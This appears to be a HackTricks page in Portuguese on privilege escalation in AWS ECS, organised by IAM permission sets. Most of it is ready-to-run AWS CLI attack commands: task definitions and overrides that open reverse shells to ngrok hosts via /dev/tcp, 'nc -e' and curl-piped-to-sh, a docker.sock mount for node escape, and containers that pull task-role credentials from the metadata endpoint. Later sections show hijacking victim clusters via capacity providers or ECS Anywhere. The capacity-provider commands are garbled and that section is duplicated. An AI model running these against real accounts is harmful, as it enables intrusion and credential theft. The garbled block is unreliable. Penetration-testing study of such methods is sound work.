AWS - ECS Privesc

Reading time: 17 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

ECS

Mais informações sobre ECS em:

AWS - ECS Enum

iam:PassRole, ecs:RegisterTaskDefinition, ecs:RunTask

Um atacante que abusa da permissão iam:PassRole, ecs:RegisterTaskDefinition e ecs:RunTask no ECS pode gerar uma nova task definition com um container malicioso que rouba as credenciais de metadata e executá-la.

bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

# Run task definition
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Impacto Potencial: Privesc direto para um ECS role diferente.

iam:PassRole,ecs:RunTask

Um atacante que possui permissões iam:PassRole e ecs:RunTask pode iniciar uma nova task ECS com os valores de execution role, task role e command do container modificados. O comando CLI ecs run-task contém a flag --overrides, que permite alterar em tempo de execução o executionRoleArn, taskRoleArn e o command do container sem tocar na task definition.

As IAM roles especificadas para taskRoleArn e executionRoleArn devem confiar/permitir que sejam assumidas por ecs-tasks.amazonaws.com em sua trust policy.

Além disso, o atacante precisa saber:

  • ECS cluster name
  • VPC Subnet
  • Security group (Se nenhum security group for especificado, o padrão será usado)
  • Task Definition Name and revision
  • Name of the Container
bash
aws ecs run-task \
--cluster <cluster-name> \
--launch-type FARGATE \
--network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" \
--task-definition <task-definition:revision> \
--overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": <container-name>,
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'

No trecho de código acima o atacante sobrescreve apenas o valor taskRoleArn. No entanto, o atacante deve ter a permissão iam:PassRole sobre o taskRoleArn especificado no comando e o executionRoleArn especificado na task definition para que o ataque aconteça.

Se a IAM role que o atacante pode passar tiver privilégios suficientes para pull da imagem do ECR e iniciar a task do ECS (ecr:BatchCheckLayerAvailability, ecr:GetDownloadUrlForLayer,ecr:BatchGetImage,ecr:GetAuthorizationToken) então o atacante pode especificar a mesma IAM role para ambos executionRoleArn e taskRoleArn no comando ecs run-task.

sh
aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"executionRoleArn":"arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": "<container-name>",
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'

Impacto Potencial: Privesc direto para qualquer ECS task role.

iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask

Assim como no exemplo anterior, um atacante que abusar das permissões iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask no ECS pode gerar uma nova task definition com um container malicioso que rouba as metadata credentials e executá-la.
No entanto, neste caso, é necessário que haja uma container instance para executar a task definition maliciosa.

bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

aws ecs start-task --task-definition iam_exfiltration \
--container-instances <instance_id>

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Impacto potencial: privesc direto para qualquer role do ECS.

iam:PassRole, ecs:RegisterTaskDefinition, (ecs:UpdateService|ecs:CreateService)

Assim como no exemplo anterior, um atacante que abuse das permissões iam:PassRole, ecs:RegisterTaskDefinition, ecs:UpdateService ou ecs:CreateService no ECS pode gerar uma nova task definition com um container malicioso que rouba as metadata credentials e executá-la criando um novo service com pelo menos 1 task em execução.

bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn  "$ECS_ROLE_ARN" \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"

# Run the task creating a service
aws ecs create-service --service-name exfiltration \
--task-definition iam_exfiltration \
--desired-count 1 \
--cluster "$CLUSTER_ARN" \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"

# Run the task updating a service
aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>

Impacto Potencial: Privesc direto para qualquer ECS role.

iam:PassRole, (ecs:UpdateService|ecs:CreateService)

Na verdade, apenas com essas permissões é possível usar overrides para executar comandos arbitrários em um container com um role arbitrário com algo como:

bash
aws ecs run-task \
--task-definition "<task-name>" \
--overrides '{"taskRoleArn":"<role-arn>", "containerOverrides":[{"name":"<container-name-in-task>","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \
--cluster <cluster-name> \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"

Impacto Potencial: Privesc direto para qualquer role do ECS.

ecs:RegisterTaskDefinition, (ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

Este cenário é como os anteriores mas sem a permissão iam:PassRole.
Ainda assim é interessante porque, se você conseguir executar um container arbitrário, mesmo sem um role, você poderia executar um container privilegiado para escapar para o nó e roubar o EC2 IAM role e os outros roles de containers do ECS rodando no nó.
Você poderia até forçar outras tasks a serem executadas dentro da instância EC2 que você comprometer para roubar suas credenciais (como discutido na Privesc to node section).

warning

Este ataque só é possível se o ECS cluster estiver usando instâncias EC2 e não Fargate.

bash
printf '[
{
"name":"exfil_creds",
"image":"python:latest",
"entryPoint":["sh", "-c"],
"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
"mountPoints": [
{
"readOnly": false,
"containerPath": "/var/run/docker.sock",
"sourceVolume": "docker-socket"
}
]
}
]' > /tmp/task.json

printf '[
{
"name": "docker-socket",
"host": {
"sourcePath": "/var/run/docker.sock"
}
}
]' > /tmp/volumes.json


aws ecs register-task-definition --family iam_exfiltration \
--cpu 256 --memory 512 \
--requires-compatibilities '["EC2"]' \
--container-definitions file:///tmp/task.json \
--volumes file:///tmp/volumes.json


aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
--launch-type EC2

# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell

ecs:ExecuteCommand, ecs:DescribeTasks,(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

Um atacante com as permissões ecs:ExecuteCommand, ecs:DescribeTasks pode executar comandos dentro de um container em execução e exfiltrar a IAM role anexada a ele (você precisa das permissões de describe porque é necessário executar aws ecs execute-command).
No entanto, para fazer isso, a container instance precisa estar executando o ExecuteCommand agent (que por padrão não está).

Portanto, o atacante poderia tentar:

  • Tentar executar um comando em todos os containers em execução
bash
# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
echo "Cluster $cluster"
for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
echo "  Task $task"
# If true, it's your lucky day
aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
done
done

# Execute a shell in a container
aws ecs execute-command --interactive \
--command "sh" \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"
  • Se ele tiver ecs:RunTask, execute uma task com aws ecs run-task --enable-execute-command [...]
  • Se ele tiver ecs:StartTask, execute uma task com aws ecs start-task --enable-execute-command [...]
  • Se ele tiver ecs:CreateService, crie um service com aws ecs create-service --enable-execute-command [...]
  • Se ele tiver ecs:UpdateService, atualize um service com aws ecs update-service --enable-execute-command [...]

Você pode encontrar exemplos dessas opções nas seções anteriores de privesc do ECS.

Impacto Potencial: Privesc para um role diferente associado aos containers.

ssm:StartSession

Veja na ssm privesc page como você pode abusar dessa permissão para privesc para ECS:

AWS - SSM Privesc

iam:PassRole, ec2:RunInstances

Veja na ec2 privesc page como você pode abusar dessas permissões para privesc para ECS:

AWS - EC2 Privesc

ecs:RegisterContainerInstance, ecs:DeregisterContainerInstance, ecs:StartTask, iam:PassRole

Um atacante com essas permissões poderia potencialmente registrar uma instância EC2 em um cluster ECS e executar tasks nela. Isso poderia permitir que o atacante execute código arbitrário no contexto das tasks do ECS.

  • TODO: É possível registrar uma instância de uma conta AWS diferente para que as tasks sejam executadas em máquinas controladas pelo atacante??

ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, ecs:DescribeTaskSets

note

TODO: Testar isto

Um atacante com as permissões ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet e ecs:DescribeTaskSets pode criar um task set malicioso para um serviço ECS existente e atualizar o primary task set. Isso permite que o atacante execute código arbitrário dentro do serviço.

bash
# Register a task definition with a reverse shell
echo '{
"family": "malicious-task",
"containerDefinitions": [
{
"name": "malicious-container",
"image": "alpine",
"command": [
"sh",
"-c",
"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
]
}
]
}' > malicious-task-definition.json

aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json

# Create a malicious task set for the existing service
aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"

# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id

Impacto Potencial: Executar código arbitrário no serviço afetado, potencialmente impactando sua funcionalidade ou exfiltrando dados sensíveis.

Referências

Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)

Um atacante com permissões para gerenciar ECS capacity providers e atualizar serviços pode criar um EC2 Auto Scaling Group que ele controla, envolvê-lo em um ECS Capacity Provider, associá-lo ao cluster alvo e migrar um serviço da vítima para usar esse provider. As tasks serão então agendadas em instâncias EC2 controladas pelo atacante, permitindo acesso a nível de SO para inspecionar containers e roubar credenciais de task role.

Commands (us-east-1):

  • Pré-requisitos

  • Criar Launch Template para o ECS agent entrar no cluster alvo

  • Criar Auto Scaling Group

  • Criar Capacity Provider a partir do ASG

  • Associar o Capacity Provider ao cluster (opcionalmente como padrão)

  • Migrar um serviço para o seu provider

  • Verificar se as tasks são executadas nas instâncias do atacante

  • Opcional: a partir do nó EC2, docker exec nos containers alvo e ler http://169.254.170.2 para obter as credenciais do task role.

  • Limpeza

Impacto Potencial: Nós EC2 controlados pelo atacante recebem as tasks da vítima, habilitando acesso a nível de SO aos containers e roubo das credenciais do IAM task role.

Comandos passo a passo (copiar/colar)
export AWS_DEFAULT_REGION=us-east-1
CLUSTER=arn:aws:ecs:us-east-1:947247140022:cluster/ht-victim-cluster
# Instance profile for ECS nodes
aws iam create-role --role-name ht-ecs-instance-role --assume-role-policy-document Version:2012-10-17 || true
aws iam attach-role-policy --role-name ht-ecs-instance-role --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role || true
aws iam create-instance-profile --instance-profile-name ht-ecs-instance-profile || true
aws iam add-role-to-instance-profile --instance-profile-name ht-ecs-instance-profile --role-name ht-ecs-instance-role || true

VPC=vpc-18e6ac62 SUBNETS=

AMI=ami-0b570770164588ab4 USERDATA=IyEvYmluL2Jhc2gKZWNobyBFQ1NfQ0xVU1RFUj0gPj4gL2V0Yy9lY3MvZWNzLmNvbmZpZwo= LT_ID=

ASG_ARN=

CP_NAME=htcp-8797 aws ecs create-capacity-provider --name --auto-scaling-group-provider "autoScalingGroupArn=,managedScaling={status=ENABLED,targetCapacity=100},managedTerminationProtection=DISABLED" aws ecs put-cluster-capacity-providers --cluster "" --capacity-providers --default-capacity-provider-strategy capacityProvider=,weight=1

SVC=

Task definition must be EC2-compatible (not Fargate-only)

aws ecs update-service --cluster "" --service "" --capacity-provider-strategy capacityProvider=,weight=1 --force-new-deployment

TASK= CI= aws ecs describe-container-instances --cluster "" --container-instances "" --query containerInstances[0].ec2InstanceId --output text

Backdoor compute in-cluster via ECS Anywhere EXTERNAL registration

Abusar do ECS Anywhere para registrar um host controlado pelo atacante como uma EXTERNAL container instance em um cluster ECS da vítima e executar tasks nesse host usando task e execution roles privilegiadas. Isso concede controle a nível de SO sobre onde as tasks são executadas (sua própria máquina) e permite o roubo de credenciais/dados das tasks e volumes anexados sem mexer em capacity providers ou ASGs.

  • Permissões requeridas (exemplo mínimo):

  • ecs:CreateCluster (opcional), ecs:RegisterTaskDefinition, ecs:StartTask ou ecs:RunTask

  • ssm:CreateActivation, ssm:DeregisterManagedInstance, ssm:DeleteActivation

  • iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (para a ECS Anywhere instance role e task/execution roles)

  • logs:CreateLogGroup/Stream, logs:PutLogEvents (se estiver usando awslogs)

  • Impacto: Executar containers arbitrários com um taskRoleArn escolhido no host do atacante; exfiltrar credenciais do task-role de 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI; acessar quaisquer volumes montados pelas tasks; mais furtivo do que manipular capacity providers/ASGs.

Passos

  1. Criar/identificar cluster (us-east-1)
bash
aws ecs create-cluster --cluster-name ht-ecs-anywhere
  1. Criar role do ECS Anywhere e ativação do SSM (para instância on-prem/EXTERNAL)
bash
aws iam create-role --role-name ecsAnywhereRole \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ssm.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore
aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role
ACTJSON=$(aws ssm create-activation --iam-role ecsAnywhereRole)
ACT_ID=$(echo $ACTJSON | jq -r .ActivationId); ACT_CODE=$(echo $ACTJSON | jq -r .ActivationCode)
  1. Provisionar attacker host e registá-lo automaticamente como EXTERNAL (exemplo: small AL2 EC2 como “on‑prem”)
user-data.sh
bash
#!/bin/bash
set -euxo pipefail
amazon-linux-extras enable docker || true
yum install -y docker curl jq
systemctl enable --now docker
curl -fsSL -o /root/ecs-anywhere-install.sh "https://amazon-ecs-agent.s3.amazonaws.com/ecs-anywhere-install-latest.sh"
chmod +x /root/ecs-anywhere-install.sh
/root/ecs-anywhere-install.sh --cluster ht-ecs-anywhere --activation-id ${ACT_ID} --activation-code ${ACT_CODE} --region us-east-1
bash
AMI=$(aws ssm get-parameters --names /aws/service/ami-amazon-linux-latest/amzn2-ami-hvm-x86_64-gp2 --query 'Parameters[0].Value' --output text)
IID=$(aws ec2 run-instances --image-id $AMI --instance-type t3.micro \
--user-data file://user-data.sh --query 'Instances[0].InstanceId' --output text)
aws ec2 wait instance-status-ok --instance-ids $IID
  1. Verificar se a EXTERNAL container instance juntou-se
bash
aws ecs list-container-instances --cluster ht-ecs-anywhere
aws ecs describe-container-instances --cluster ht-ecs-anywhere \
--container-instances <ci-arn> --query 'containerInstances[0].[ec2InstanceId,attributes]'
# ec2InstanceId will be mi-XXXXXXXX (SSM managed instance id) and attributes include ecs.capability.external
  1. Criar task/execution roles, registrar a EXTERNAL task definition e executá-la no host atacante
bash
# roles
aws iam create-role --role-name ht-ecs-task-exec \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs-tasks.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ht-ecs-task-exec --policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSTaskExecutionRolePolicy
aws iam create-role --role-name ht-ecs-task-role \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs-tasks.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
# attach any privileges you want to abuse to this task role

# task def (EXTERNAL launch)
cat > td-external.json << 'JSON'
{
"family": "ht-external",
"requiresCompatibilities": [ "EXTERNAL" ],
"networkMode": "bridge",
"memory": "256",
"cpu": "128",
"executionRoleArn": "arn:aws:iam::<account-id>:role/ht-ecs-task-exec",
"taskRoleArn": "arn:aws:iam::<account-id>:role/ht-ecs-task-role",
"containerDefinitions": [
{"name":"steal","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
"entryPoint":["/bin/sh","-c"],
"command":["REL=\$(printenv AWS_CONTAINER_CREDENTIALS_RELATIVE_URI); echo CREDS:; curl -s http://169.254.170.2\$REL; sleep 600"],
"memory": 128,
"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/anywhere","awslogs-stream-prefix":"steal"}}
}
]
}
JSON
aws logs create-log-group --log-group-name /ht/ecs/anywhere || true
aws ecs register-task-definition --cli-input-json file://td-external.json
CI=$(aws ecs list-container-instances --cluster ht-ecs-anywhere --query 'containerInstanceArns[0]' --output text)
aws ecs start-task --cluster ht-ecs-anywhere --task-definition ht-external \
--container-instances $CI
  1. A partir daqui você controla o host que executa as tasks. Você pode ler task logs (se awslogs) ou executar diretamente no host para exfiltrar credenciais/dados das suas tasks.

Exemplo de comando (placeholders)

Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)

Um atacante com permissões para gerenciar ECS capacity providers e atualizar services pode criar um EC2 Auto Scaling Group que ele controla, envolvê-lo em um ECS Capacity Provider, associá-lo ao cluster alvo e migrar um serviço vítima para usar esse provider. As tasks serão então agendadas em instâncias EC2 controladas pelo atacante, permitindo acesso a nível de SO para inspecionar containers e roubo das task role credentials.

Comandos (us-east-1):

  • Pré-requisitos

  • Criar Launch Template para o ECS agent se juntar ao cluster alvo

  • Criar Auto Scaling Group

  • Criar Capacity Provider a partir do ASG

  • Associar o Capacity Provider ao cluster (opcionalmente como padrão)

  • Migrar um service para o seu provider

  • Verificar se as tasks são iniciadas nas instâncias do atacante

  • Opcional: a partir do nó EC2, docker exec nos containers alvo e leia http://169.254.170.2 para obter as task role credentials.

  • Cleanup

Impacto Potencial: Instâncias EC2 controladas pelo atacante recebem tasks de vítimas, permitindo acesso a nível de SO aos containers e roubo das task IAM role credentials.

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks